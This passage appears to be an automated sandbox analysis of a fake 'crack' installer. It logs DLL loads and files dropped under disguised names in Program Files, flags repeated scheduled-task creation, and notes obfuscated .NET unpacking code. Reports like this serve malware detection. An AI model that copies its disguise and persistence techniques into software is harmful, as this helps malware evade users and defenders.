Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: version.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\WindowsPowerShell\b85529a8a0a78e	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\Windows NT\Idle.exe	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\Windows NT\6ccacd8608530f	Jump to behavior

Source: NewLoaderCracks_1.32.exe

Static file information: File size 2064076 > 1048576

Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: NewLoaderCracks_1.32.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: NewLoaderCracks_1.32.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: NewLoaderCracks_1.32.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: NewLoaderCracks_1.32.exe

Source: NewLoaderCracks_1.32.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: NewLoaderCracks_1.32.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: NewLoaderCracks_1.32.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: NewLoaderCracks_1.32.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: NewLoaderCracks_1.32.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, zPI4UC7j83EwXD93Buo.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, zPI4UC7j83EwXD93Buo.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM System.AppDomain.Load(byte[])
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM System.Reflection.Assembly.Load(byte[])
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM System.AppDomain.Load(byte[])
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM System.Reflection.Assembly.Load(byte[])
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	.Net Code: p2NRiidmRM

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

File created: C:\comcontainer\__tmp_rar_sfx_access_check_6484593

Jump to behavior

Source: NewLoaderCracks_1.32.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055E28C push eax; ret	0_2_0055E2AA
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055ED46 push ecx; ret	0_2_0055ED59
Source: C:\comcontainer\SurrogateRef.exe	Code function: 5_2_00007FFD34669684 push ebp; retf	5_2_00007FFD34669685
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 14_2_00007FFD34659684 push ebp; retf	14_2_00007FFD34659685
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 14_2_00007FFD346500BD pushad ; iretd	14_2_00007FFD346500C1
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 17_2_00007FFD34679684 push ebp; retf	17_2_00007FFD34679685

Source: SurrogateRef.exe.0.dr	Static PE information: section name: .text entropy: 7.238177576574828
Source: csrss.exe.5.dr	Static PE information: section name: .text entropy: 7.238177576574828

Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, v6luaK3qSQdG78Cyn9Y.cs	High entropy of concatenated method names: 'UbyOwveBBZ', 'OeNOXiTnsX', 'xhDO0B6XP6', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'WbfOykEdX4'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, pC7UlOvJvi2hqAkL1D8.cs	High entropy of concatenated method names: 'InaekceOgP', 'CXkeOXy8Iw', 'jUFej3DsLU', 'USjei6u0yo', 'RRieeQJHf2', 'W0OeoIfJdo', 'XSJeH3qTdG', 'GnYefWlxQt', 'J6qeF11k6K', 'jPyePgINBt'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, rmnQxrKweXovxmYFfo7.cs	High entropy of concatenated method names: 'cchNUIkh25', 'zUPNmOjQPP', 'qIJtIOPRG1ZjvXiH1qI', 'mG3Hf1P3cSRYYytdcXP', 'k5OrShPXjSrcIKPLShu', 'Yf1mLSPtaFUUp5bvmp0', 'y3nrD0Pk8RCVZA9NTqE', 'kdLJ9PPfxy75un1r0M0', 'bwoIcUPzudKKsLwKOBl', 'eIwaquLxYE5QaMI2sZn'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, N43Em13sOK0bOJdFKYn.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'uLbSwvYDkJ', 'F7kSXo5Oq0', 'Ye4S0ejdP2', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, EEuZ9r38tkfgiKsc6S5.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'FAyOkJskxn', 'PUYOd208e9', 'rfxOOXcpmM', 'f6rOaDuBaH', 'lktOqeFjmU', 'uv3OSMaq1f', 'n36wJviLJSCZkVIRe71'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, bpHPos9OBbZYq4VcBpa.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'oR90DvYf751JLVGVH2I', 'OpbxXnYz9Q16Rs8bpTf', 'GposnRexhWIGTr9BHTW', 'U95QuMerdImuIqIV1Ak', 'mLjsyiegIr0cj1ECjZw', 'pX2qL1eNbP6LFUMrb8Z'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, miph6a4RmaFZ1Nl1NL.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'efuPsWWpJqBijSMTupx', 'iZNWhZWyYcpBcPkS59V', 'jumLsRWYBuDggxwt2jp', 'kXZdb1Weu9xqVlesb44', 'z8ljwlWlCXFredEF7ml', 'DNq2YFWAlFUf4Mm9y6l'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, t4CLPVs2O746c94BsC.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'NpbC3ZU0p5NkaIktSx5', 'oTGmtLUdZ91AeqAVlIC', 'W5VvsXUGIVLFI0QAfVn', 'n7creJUJsBerPLqj2JI', 'IkKqaaU83biX38lY8iC', 'yJ0Yc2UwhDNBvrSuwOY'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, YKi3fZ9hlb310txy1Nx.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'TDN17SYQ4qWF0NvupFs', 'AhdeobYPubtuci9IuGJ', 'BGsbkxYLGUE2lyfxMol', 'CxXm5jYabGXEy1jwc6l', 'frWUSTYBtUkRC0Te2vS', 'Wkv6FnYodj5P7DdQrcB'
